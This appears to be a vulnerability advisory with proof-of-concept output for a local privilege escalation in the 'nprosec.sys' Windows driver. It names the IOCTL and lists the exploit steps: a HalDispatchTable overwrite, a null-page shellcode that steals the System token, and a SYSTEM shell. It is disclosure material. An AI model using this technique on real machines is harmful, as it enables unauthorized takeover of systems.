----[ Vulnerability ]--------------------------------------------------------------------

Discovery        : 2011-09-26
Description      : The driver "nprosec.sys" is vulnerable to a kernel pointer dereferencement.
                   This vulnerability allows an attacker with a local access to the machine 
		   to escalate his privilege, that is to say to gain SYSTEM privileges from 
		   a limited account.
Affected IOCTL   : 0x00220210

Status           : 0day
Vendor contacted : 2011-09-28

----[ Exploitation PoC ]-----------------------------------------------------------------

Tested on      : Windows XP SP3 (offsets may be changed for other versions)
Demo           :

[~] Open an handle to the driver \\.\nprosec ...
[+] Handle: 000007E8
[~] Retrieve Kernel address of HalDispatchTable ...
[+] HalDispatchTable+4 (0x8054593c) will be overwritten
[~] Map executable memory 0x00000000 - 0x0000FFFF ...
[~] Put the Shellcode to steal System process Token @ 0x00005000
[~] Update Shellcode with PID of the current process ...
[+] Shellcode updated with PID = 3604

[~] Ready ? Press any key to send IOCTL (0x00220210) with payload...
[+] IOCTL sent !
[~] Launch the shellcode ...
[+] Okay... System Token should be stolen, let's spawn a SYSTEM shell :)
